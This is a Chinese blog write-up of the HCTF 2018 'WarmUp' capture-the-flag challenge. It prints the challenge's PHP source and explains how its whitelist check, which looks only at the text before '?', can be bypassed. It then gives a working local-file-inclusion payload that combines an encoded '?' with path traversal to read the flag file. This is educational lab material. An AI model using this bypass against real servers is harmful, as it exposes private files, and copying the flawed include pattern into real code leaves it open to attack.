[HCTF 2018]WarmUp wp

[HCTF 2018]WarmUp wp

从源码发现有个source.php的文件

进入发现是代码审计

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

前面一大段都是定义的类,只有后面的一小部分是解题关键

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

获取一个参数file,要满足是字符串,而且经过checkfile函数返回true才能实现文件包含,否则就发出黄黄表情

所以我们去看那一大段的类

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
}
if (in_array($page, $whitelist)) {
    return true;
}

首先先定义了一个白名单,然后in_array来判断传入的参数page是不是在白名单内,

这里如果page在,那么文件包含没什么意义,如果page不在,那么就会往下走,所以我们继续往下看

  $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

往下去就是两个判断?前的值是不是在白名单里的,如果是,返回true

如果第一个没成功,就解码再判断一次

但是这题我们可以在第一次判断时就成功

hint.php中有我们要包含的文件

因为是判断?之前的我们可以

?file=hint.php%3f/../../../../../ffffllllaaaagggg

经过解码就会把hint.php单拎出来,就会通过白名单
当然,我们也可以经过两次编码,过第二次编码也行
获得flag

posted on 2021-01-31 20:17  猪猪侠的哥哥  阅读(83)  评论(0编辑  收藏  举报